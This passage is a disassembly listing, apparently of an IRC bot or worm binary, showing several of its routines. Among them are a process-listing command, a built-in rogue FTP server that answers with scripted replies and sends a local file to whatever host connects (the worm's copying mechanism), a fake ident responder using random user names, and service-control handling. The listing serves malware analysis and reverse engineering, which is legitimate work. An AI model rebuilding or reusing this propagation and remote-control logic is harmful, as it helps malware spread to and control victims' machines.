ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41E660 push eax mov large fs:0, esp sub esp, 44h push ebx push ebp push esi mov esi, [esp+5Ch+arg_0] push edi mov edi, ecx lea ebx, [esi+7Eh] lea ecx, [edi+4] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E7FA lea eax, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push eax call sub_4018D9 ; --------------------------------------------------------------------------- lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0 push ecx call sub_4011D6 add esp, 4 test al, al jz loc_41E7E2 push 0 push 7Bh push 25h push 9 push 25h push 25h push 9 push 5 push 1Dh push 23h push 1Fh lea edx, [esp+8Ch+var_3C] push 79h push edx call sub_4019B5 add esp, 34h mov edi, eax lea ebx, [esi+69h] mov byte ptr [esp+60h+var_4], 1 mov ecx, ebx call sub_4014D3 push eax mov ecx, edi call sub_401681 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], 0 call sub_401226 lea ecx, [esp+60h+var_50] call sub_401703 lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx xor edi, edi call sub_4014D8 mov eax, [eax] lea ecx, [esp+60h+var_4C] push ecx lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], eax call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jz short loc_41E7E2 mov ebp, dword_50F8D0 loc_41E76E: ; CODE XREF: sub_41E660+180j lea ecx, [esp+60h+var_50] inc edi call sub_40122B mov ecx, eax call sub_4017E4 push eax lea ecx, [esp+64h+var_50] call sub_40122B mov edx, [eax+15h] mov ecx, ebx push edx push edi push offset aD_PidDS ; "%d. - Pid: %d - \"%s\"" call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 20h push 5DCh call ebp lea ecx, [esp+60h+var_50] call sub_40107D lea edx, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push edx call sub_40196F push eax lea ecx, [esp+64h+var_50] call sub_401802 test al, al jnz short loc_41E76E loc_41E7E2: ; CODE XREF: sub_41E660+62j ; sub_41E660+106j lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401816 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E7FA: ; CODE XREF: sub_41E660+37j lea ecx, [edi+32h] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41E8EE push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 2 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 4 call sub_4014D3 push eax push offset dword_44402C lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41E8EE: ; CODE XREF: sub_41E660+1ACj lea ecx, [edi+8Eh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EA55 lea edx, [esp+60h+arg_0] lea ecx, [esp+60h+var_48] push edx call sub_4016E0 ; --------------------------------------------------------------------------- lea eax, [esp+60h+var_48] mov ebx, 5 push eax mov [esp+64h+var_4], ebx call sub_402144 add esp, 4 test al, al jz loc_41EA3D push 0 push 3Eh push 13h push ebx push 3 push 9 push 16h push 12h push ebx push 13h lea ecx, [esp+88h+var_3C] push 3Dh push ecx call sub_4019B5 add esp, 30h mov edi, eax lea ebp, [esi+69h] mov byte ptr [esp+60h+var_4], 6 mov ecx, ebp call sub_4014D3 push eax mov ecx, edi call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+60h+var_3C] mov byte ptr [esp+60h+var_4], bl call sub_401226 lea ecx, [esp+60h+var_50] call sub_401B40 lea ecx, [esp+60h+var_4C] xor edi, edi push ecx lea ecx, [esp+64h+var_48] call sub_40145B mov edx, [eax] lea eax, [esp+60h+var_4C] push eax lea ecx, [esp+64h+var_48] mov [esp+64h+var_50], edx call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jz short loc_41EA3D mov ebx, dword_50F8D0 loc_41E9D6: ; CODE XREF: sub_41E660+3DBj lea ecx, [esp+60h+var_50] inc edi call sub_401055 mov ecx, eax call sub_4017E4 push eax push edi push offset dword_444020 mov ecx, ebp call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 1Ch push 5DCh call ebx lea ecx, [esp+60h+var_50] call sub_40182A lea eax, [esp+60h+var_4C] lea ecx, [esp+60h+var_48] push eax call sub_4013ED push eax lea ecx, [esp+64h+var_50] call sub_4012BC test al, al jnz short loc_41E9D6 loc_41EA3D: ; CODE XREF: sub_41E660+2CFj ; sub_41E660+36Ej lea ecx, [esp+60h+var_48] mov [esp+60h+var_4], 0FFFFFFFFh call sub_401253 ; --------------------------------------------------------------------------- mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EA55: ; CODE XREF: sub_41E660+2A3j lea ecx, [edi+0BCh] call sub_4014D3 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EB4C push offset asc_443600 ; " " lea ecx, [esp+64h+var_3C] push 1 push ecx mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 7 call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz loc_41EC15 push offset asc_443600 ; " " lea edx, [esp+64h+var_3C] push 1 push edx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 8 call sub_4017E4 push eax call sub_4019FB add esp, 4 lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 9 call sub_4014D3 push eax push offset dword_444018 lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D60B5 call sub_401848 add esp, 18h lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 mov al, 1 jmp loc_41EC17 ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E660+40Aj lea ecx, [edi+60h] call sub_4017E4 push eax mov ecx, ebx call sub_4012EE test eax, eax jnz loc_41EC15 push offset asc_443600 ; " " lea eax, [esp+64h+var_3C] push 1 push eax mov ecx, esi call sub_4016AE push offset byte_446F70 mov ecx, eax mov [esp+64h+var_4], 0Ah call sub_4012EE test eax, eax setz bl or edi, 0FFFFFFFFh lea ecx, [esp+60h+var_3C] mov [esp+60h+var_4], edi call sub_401226 test bl, bl jnz short loc_41EC15 push offset asc_443600 ; " " lea ecx, [esp+64h+var_24] push 1 push ecx mov ecx, esi call sub_4016AE mov ecx, eax mov [esp+60h+var_4], 0Bh call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+60h+var_24] mov ebx, eax mov [esp+60h+var_4], edi call sub_401226 test ebx, ebx jz short loc_41EC15 push ebx push offset dword_44400C lea ecx, [esi+69h] call sub_4014D3 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D60B5 call sub_401848 push ebx call sub_4018A7 add esp, 1Ch jmp short loc_41EC17 ; --------------------------------------------------------------------------- loc_41EC15: ; CODE XREF: sub_41E660+1F0j ; sub_41E660+44Ej ... xor al, al loc_41EC17: ; CODE XREF: sub_41E660+195j ; sub_41E660+289j ... mov ecx, [esp+60h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 50h retn 4 sub_41E660 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 180h dup(0CCh) ; --------------------------------------------------------------------------- loc_41EDB0: ; CODE XREF: ___:loc_401FE6j push ebp mov ebp, esp push 0FFFFFFFFh push offset loc_43B210 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov edi, dword_50F8D0 mov [ebp-10h], esp mov esi, ecx mov dword ptr [ebp-4], 0 loc_41EDE0: ; CODE XREF: ___:0041EDF1j mov al, [esi+0ABh] test al, al jnz short loc_41EDF3 push 3E8h call edi jmp short loc_41EDE0 ; --------------------------------------------------------------------------- loc_41EDF3: ; CODE XREF: ___:0041EDE8j mov al, [esi+0ACh] lea ecx, [esi+15h] push eax push ecx mov ecx, offset byte_4472B7 call sub_401A32 lea edx, [ebp-14h] mov ecx, offset byte_4E6EDB push edx mov [ebp-14h], esi call sub_40120D ; --------------------------------------------------------------------------- loc_41EE19: ; DATA XREF: ___:loc_41EE2Co mov ecx, [ebp-0Ch] pop edi pop esi xor eax, eax mov large fs:0, ecx pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_41EE2C: ; DATA XREF: ___:0044154Co mov eax, offset loc_41EE19 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EE70 proc near ; CODE XREF: sub_401DE3j arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, [esp+arg_0] push esi mov esi, ecx mov [esi+11h], eax mov cl, [eax+94h] mov [esi+0A9h], cl mov dl, [eax+93h] mov [esi+0A8h], dl mov cl, [eax+95h] add eax, 15h mov [esi+0AAh], cl push eax lea ecx, [esi+2Ah] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+69h] add edx, 54h push edx call sub_401FBE mov eax, [esi+11h] lea ecx, [esi+54h] add eax, 3Fh push eax call sub_401FBE mov ecx, [esi+11h] add ecx, 2Ah push ecx lea ecx, [esi+3Fh] call sub_401FBE mov edx, [esi+11h] lea ecx, [esi+15h] push edx call sub_401FBE mov al, [esp+4+arg_4] mov byte ptr [esi+0ABh], 1 mov [esi+0ACh], al pop esi retn 8 sub_41EE70 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41EF30 proc near ; CODE XREF: sub_4020A9j var_DC = dword ptr -0DCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_94 = byte ptr -94h var_88 = dword ptr -88h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_68 = dword ptr -68h var_64 = byte ptr -64h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_44 = byte ptr -44h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_C = byte ptr -0Ch var_8 = dword ptr -8 arg_0 = byte ptr 4 arg_8 = byte ptr 0Ch arg_14 = dword ptr 18h arg_18 = byte ptr 1Ch arg_20 = byte ptr 24h arg_38 = byte ptr 3Ch arg_50 = byte ptr 54h arg_68 = byte ptr 6Ch arg_80 = byte ptr 84h arg_88 = byte ptr 8Ch arg_A8 = byte ptr 0ACh arg_E4 = byte ptr 0E8h arg_F0 = byte ptr 0F4h arg_118 = byte ptr 11Ch arg_128 = byte ptr 12Ch arg_138 = byte ptr 13Ch arg_148 = byte ptr 14Ch arg_158 = byte ptr 15Ch arg_908 = byte ptr 90Ch arg_18C8 = dword ptr 18CCh arg_18D8 = dword ptr 18DCh arg_1930 = byte ptr 1934h arg_1970 = dword ptr 1974h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_41EF30 push eax mov eax, 19B4h mov large fs:0, esp call sub_436840 push esi push edi mov edi, ecx xor eax, eax mov [esp+14h+var_8], edi mov [esp+14h+arg_14], 10h lea esi, [edi+19h] mov ecx, esi mov [ecx], eax mov [ecx+4], eax mov [ecx+8], eax mov [ecx+0Ch], eax mov word ptr [esi], 2 mov [edi+1Dh], eax mov dx, word ptr dword_44768F push edx nop call near ptr 71AB2B66h push 6 push 1 push 2 mov [edi+1Bh], ax nop call near ptr 71AB3B91h cmp eax, 0FFFFFFFFh mov [edi+15h], eax jnz short loc_41EFB7 lea eax, [esp+24h+var_18] mov ecx, offset byte_4E6EDB push eax mov [esp+28h+var_18], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFB7: ; CODE XREF: sub_41EF30+6Dj push 10h push esi push eax nop call near ptr 71AB3E00h test eax, eax jz short loc_41EFE7 mov ecx, [edi+15h] push ecx nop call near ptr 71AB9639h lea edx, [esp+34h+var_28] mov ecx, offset byte_4E6EDB push edx mov [esp+38h+var_28], edi call sub_40120D ; --------------------------------------------------------------------------- jmp loc_41F65A ; --------------------------------------------------------------------------- loc_41EFE7: ; CODE XREF: sub_41EF30+93j mov al, byte_4E6E84 test al, al jz loc_41F650 push ebx mov ebx, dword_50FB08 push ebp mov ebp, dword_50FC8C loc_41F002: ; CODE XREF: sub_41EF30+718j mov eax, [edi+15h] push 0Ah push eax call near ptr 71AB88D3h nop cmp eax, 0FFFFFFFFh jnz short loc_41F01D push 0FAh jmp loc_41F63B ; --------------------------------------------------------------------------- loc_41F01D: ; CODE XREF: sub_41EF30+E1j mov eax, [edi+15h] lea ecx, [esp+40h+var_C] lea edx, [esp+40h+arg_F0] push ecx push edx push eax nop call near ptr 71AC1028h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_41F636 xor ecx, ecx lea edx, [esp+4Ch+var_14] mov [esp+4Ch+var_2C], ecx lea eax, [esp+4Ch+var_2C] mov [esp+4Ch+var_28], ecx push edx mov [esp+50h+var_24], ecx push eax push esi mov [esp+58h+var_14], 10h mov [esp+58h+var_20], ecx nop call near ptr 71AC0B50h mov eax, [esp+58h+var_34] test al, al jz loc_41F641 mov cl, byte_447DF8 test cl, cl jz short loc_41F0CF mov edx, [esp+58h+var_34+3] mov ecx, dword_44768F and edx, 0FFh push ecx mov ecx, [esp+5Ch+var_34+2] push edx mov edx, [esp+60h+var_34+1] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push offset aFtpD_D_D_DOnD ; "ftp: %d.%d.%d.%d on %d" mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 28h loc_41F0CF: ; CODE XREF: sub_41EF30+14Ej lea ecx, [esp+58h+arg_0] call sub_401424 push 1000h push 1000h lea ecx, [esp+60h+arg_0] mov [esp+60h+arg_1970], 0 call sub_401C5D push eax call sub_4015EB add esp, 8 lea eax, [esp+58h+arg_0] lea ecx, [esp+58h+arg_18] push eax call sub_4014C9 lea ecx, [esp+58h+arg_0] mov byte ptr [esp+58h+arg_1970], 1 push ecx lea ecx, [esp+5Ch+arg_18] call sub_401FBE mov edi, offset a220 ; "220 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a220 ; "220 \r\n" push esi call ebp ; send push 0 lea edx, [esp+6Ch+arg_158] push 800h push edx push esi call sub_401280 mov edi, offset a331 ; "331 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a331 ; "331 \r\n" push esi call ebp ; send push 0 lea eax, [esp+7Ch+arg_148] push 800h push eax push esi call sub_401280 mov edi, offset a230 ; "230 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a230 ; "230 \r\n" push esi call ebp ; send push 0 lea ecx, [esp+8Ch+arg_138] push 800h push ecx push esi call sub_401280 mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb push 0 not ecx dec ecx push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+9Ch+arg_128] push 800h push edx push esi call sub_401280 add esp, 10h lea eax, [esp+98h+arg_128] lea ecx, [esp+98h+var_C] push eax call sub_401861 push offset asc_443600 ; " " lea ecx, [esp+9Ch+var_54] push 1 push ecx lea ecx, [esp+0A4h+var_C] mov [esp+0A4h+arg_1930], 2 call sub_4016AE push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_38] push 0 push edx lea ecx, [esp+0A4h+var_54] mov [esp+0A4h+arg_1930], 3 call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 4 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_38] mov edi, eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_80] push 1 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 5 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_80] mov [esp+98h+var_7C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_8] push 2 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 6 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_8] mov [esp+98h+var_5C], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea edx, [esp+9Ch+arg_68] push 3 push edx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 7 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_68] mov [esp+98h+var_58], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea eax, [esp+9Ch+arg_20] push 4 push eax lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 8 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_20] mov [esp+98h+var_88], eax mov [esp+98h+arg_1930], 3 call sub_401226 push offset asc_4440A8 ; "," lea ecx, [esp+9Ch+arg_50] push 5 push ecx lea ecx, [esp+0A4h+var_54] call sub_4016AE mov ecx, eax mov [esp+98h+arg_1930], 9 call sub_4017E4 push eax call ebx ; atoi add esp, 4 lea ecx, [esp+98h+arg_50] mov [esp+98h+var_80], eax mov [esp+98h+arg_1930], 3 call sub_401226 mov dl, byte ptr [esp+98h+var_88] mov al, byte ptr [esp+98h+var_80] mov ecx, [esp+98h+var_58] mov byte ptr [esp+98h+var_68+1], dl mov edx, [esp+98h+var_5C] mov byte ptr [esp+98h+var_68], al mov eax, [esp+98h+var_68] push ecx and eax, 0FFFFh push edx mov [esp+0A0h+var_88], eax mov eax, [esp+0A0h+var_7C] push eax push edi lea ecx, [esp+0A8h+arg_A8] push offset aD_D_D_D ; "%d.%d.%d.%d" push ecx call sub_5EDAB2 nop mov edi, offset a200 ; "200 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 18h repne scasb not ecx dec ecx push 0 push ecx push offset a200 ; "200 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0ACh+arg_118] push 800h push edx push esi call sub_401280 mov edi, offset a150 ; "150 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a150 ; "150 \r\n" push esi call ebp ; send mov eax, [esp+0B8h+var_A8] lea ecx, [esp+0B8h+arg_88] push eax push ecx call sub_401A8C add esp, 8 lea ecx, [esp+0B8h+var_44] mov [esp+0B8h+var_A8], eax push offset aRb ; "rb" call sub_4017E4 push eax nop call near ptr 77C3F010h mov edi, eax add esp, 8 test edi, edi mov [esp+0B8h+var_A0], edi jz loc_41F595 cmp [esp+0B8h+var_A8], 0FFFFFFFFh jz loc_41F595 push 2 push 0 push edi call near ptr 77C4139Ch nop push edi nop call near ptr 77C41574h push 0 push 0 push edi mov [esp+0D4h+var_9C], eax nop call near ptr 77C4139Ch add esp, 1Ch loc_41F4C0: ; CODE XREF: sub_41EF30+5E1j mov edx, [esp+0B8h+var_A0] mov ecx, 400h xor eax, eax lea edi, [esp+0B8h+arg_908] rep stosd push edx push 1000h lea eax, [esp+0C0h+arg_908] push 1 push eax call near ptr 77C411FBh nop mov ecx, [esp+0C8h+var_A0] mov edi, eax add esp, 10h test byte ptr [ecx+0Ch], 20h jnz short loc_41F513 mov eax, [esp+0B8h+var_A8] push 0 lea edx, [esp+0BCh+arg_908] push edi push edx push eax call ebp ; send cmp edi, 1000h jz short loc_41F4C0 loc_41F513: ; CODE XREF: sub_41EF30+5C7j mov eax, [esp+0C8h+var_B4] mov edx, [eax+11h] inc edx mov [eax+11h], edx mov cl, byte_447DF8 test cl, cl mov eax, edx jz short loc_41F57C mov edx, [esp+0C8h+var_A4+3] mov ecx, [esp+0C8h+var_AC] push eax mov eax, [esp+0CCh+var_A4+2] and edx, 0FFh push ecx mov ecx, [esp+0D0h+var_A4+1] push edx mov edx, [esp+0D4h+var_A4] and eax, 0FFh and ecx, 0FFh push eax and edx, 0FFh push ecx push edx push offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total s"... mov ecx, offset dword_447998 call sub_4014D3 push eax push 0 push 0 push offset byte_4D60B5 call sub_401848 add esp, 2Ch loc_41F57C: ; CODE XREF: sub_41EF30+5F8j mov eax, [esp+0C8h+var_B0] push eax nop call near ptr 77C40AB1h mov ecx, [esp+0CCh+var_B8] add esp, 4 push ecx nop call near ptr 71AB9639h loc_41F595: ; CODE XREF: sub_41EF30+55Bj ; sub_41EF30+566j mov edi, offset a226 ; "226 \r\n" or ecx, 0FFFFFFFFh xor eax, eax push 0 repne scasb not ecx dec ecx push ecx push offset a226 ; "226 \r\n" push esi call ebp ; send push 0 lea edx, [esp+0E0h+arg_E4] push 800h push edx push esi call sub_401280 mov edi, offset a221 ; "221 \r\n" or ecx, 0FFFFFFFFh xor eax, eax add esp, 10h repne scasb not ecx dec ecx push 0 push ecx push offset a221 ; "221 \r\n" push esi call ebp ; send push esi call near ptr 71AB9639h nop lea ecx, [esp+0F0h+var_AC] mov byte ptr [esp+0F0h+arg_18D8], 2 call sub_401226 lea ecx, [esp+0F0h+var_64] mov byte ptr [esp+0F0h+arg_18D8], 1 call sub_401226 lea ecx, [esp+0F0h+var_7C] mov byte ptr [esp+0F0h+arg_18D8], 0 call sub_401226 lea ecx, [esp+0F0h+var_94] mov [esp+0F0h+arg_18D8], 0FFFFFFFFh call sub_401226 mov edi, [esp+0F0h+var_DC] loc_41F636: ; CODE XREF: sub_41EF30+109j push 9C4h loc_41F63B: ; CODE XREF: sub_41EF30+E8j nop call near ptr 28302E5h loc_41F641: ; CODE XREF: sub_41EF30+140j mov al, byte_4E6E84 test al, al jnz loc_41F002 pop ebp pop ebx loc_41F650: ; CODE XREF: sub_41EF30+BEj mov eax, [edi+15h] push eax nop call near ptr 71AB9639h loc_41F65A: ; CODE XREF: sub_41EF30+82j ; sub_41EF30+B2j mov ecx, [esp+0F0h+arg_18C8] pop edi xor eax, eax pop esi mov large fs:0, ecx add esp, 19C0h retn sub_41EF30 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 1E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41F860 proc near ; CODE XREF: sub_401230j var_90 = dword ptr -90h var_8C = byte ptr -8Ch var_7C = byte ptr -7Ch var_78 = byte ptr -78h var_60 = byte ptr -60h var_48 = byte ptr -48h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41F860 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 84h push ebx push ebp push esi push 71h call sub_40197E add esp, 4 cmp eax, 0FFFFFFFFh mov [esp+9Ch+var_90], eax jnz short loc_41F89D mov byte_4E6ED9, 0 jmp loc_41FA01 ; --------------------------------------------------------------------------- loc_41F89D: ; CODE XREF: sub_41F860+2Fj mov cl, byte_4472BB xor ebx, ebx cmp cl, bl mov byte_4E6ED9, 1 jnz loc_41F9F4 lea ecx, [esp+9Ch+var_8C] push ecx push eax call sub_401FEB mov ebp, eax add esp, 8 cmp ebp, 0FFFFFFFFh jz loc_41F9E7 push edi lea ecx, [esp+0A0h+var_7C] call sub_401424 mov [esp+0A0h+var_4], ebx call sub_401EEC mov esi, dword_50FABC call esi ; rand cdq mov ecx, 3 push offset byte_446F70 idiv ecx lea ecx, [esp+0A0h+var_78] mov edi, edx add edi, 0Ah call sub_4015D7 cmp edi, ebx jle short loc_41F966 loc_41F90A: ; CODE XREF: sub_41F860+104j lea ecx, [esp+9Ch+var_60] call sub_401424 lea edx, [esp+9Ch+var_78] lea ecx, [esp+9Ch+var_60] push edx mov byte ptr [esp+0A0h], 1 call sub_401FBE call esi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+9Ch+var_60] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+0A4h+var_78] push offset dword_443E84 push edx call sub_40102D add esp, 10h lea ecx, [esp+9Ch+var_60] mov [esp+9Ch], bl call sub_401226 dec edi jnz short loc_41F90A loc_41F966: ; CODE XREF: sub_41F860+A8j push 0Ah lea ecx, [esp+0A0h+var_78] call sub_40146F mov [eax], bl mov ecx, 10h xor eax, eax lea edi, [esp+9Ch+var_48] rep stosd lea ecx, [esp+9Ch+var_78] call sub_4017E4 push eax push 71h call esi ; rand cdq mov ecx, 1770h idiv ecx inc edx push edx lea edx, [esp+0A8h+var_48] push offset aDDUseridUnixS ; "%d, %d : USERID : UNIX : %s\r\n" push edx call sub_5EDAB2 nop add esp, 14h lea eax, [esp+9Ch+var_48] push ebx push 40h push eax push ebp call near ptr 71AB428Ah nop mov esi, dword_50FC88 push ebp call esi ; closesocket lea ecx, [esp+0A0h+var_7C] mov [esp+0A0h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0A0h+var_90] push ecx call esi ; closesocket mov byte_4E6ED9, bl pop edi jmp short loc_41F9FE ; --------------------------------------------------------------------------- loc_41F9E7: ; CODE XREF: sub_41F860+67j push 7D0h nop call near ptr 28302E5h jmp short loc_41FA01 ; --------------------------------------------------------------------------- loc_41F9F4: ; CODE XREF: sub_41F860+4Ej mov ebp, [esp+9Ch+var_90] mov esi, dword_50FC88 loc_41F9FE: ; CODE XREF: sub_41F860+185j push ebp call esi ; closesocket loc_41FA01: ; CODE XREF: sub_41F860+38j ; sub_41F860+192j mov ecx, [esp+9Ch+var_C] pop esi pop ebp xor eax, eax pop ebx mov large fs:0, ecx add esp, 90h retn sub_41F860 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41FA90 proc near ; CODE XREF: sub_401ABEj arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax jz short loc_41FACB dec eax jz short loc_41FAB4 dec eax jnz short loc_41FAF1 mov ecx, dword_50BB68 mov dword_50BB4C, 4 call sub_401DCA jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FAB4: ; CODE XREF: sub_41FA90+8j mov ecx, dword_50BB68 mov dword_50BB4C, 7 call sub_401028 jmp short loc_41FAF1 ; --------------------------------------------------------------------------- loc_41FACB: ; CODE XREF: sub_41FA90+5j mov ecx, dword_50BB68 xor eax, eax mov dword_50BB54, eax mov dword_50BB4C, 1 mov dword_50BB5C, eax mov dword_50BB60, eax call sub_401744 loc_41FAF1: ; CODE XREF: sub_41FA90+Bj ; sub_41FA90+22j ... mov eax, dword_50BB6C push offset dword_50BB48 push eax mov dword_50BB4C, 4 nop call near ptr 28F078Bh retn 4 sub_41FA90 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41FB30: ; CODE XREF: ___:loc_401956j push esi xor esi, esi push offset sub_401ABE mov ecx, offset byte_44794F mov dword_50BB48, 20h mov dword_50BB4C, 2 mov dword_50BB50, 3 mov dword_50BB54, esi mov dword_50BB58, esi mov dword_50BB5C, esi mov dword_50BB60, esi call sub_4017E4 push eax nop call near ptr 28F03A7h cmp eax, esi mov dword_50BB6C, eax jz short loc_41FBAA push offset dword_50BB48 push eax mov dword_50BB4C, 4 mov dword_50BB5C, esi mov dword_50BB60, esi call near ptr 28F078Bh nop loc_41FBAA: ; CODE XREF: ___:0041FB86j pop esi retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E 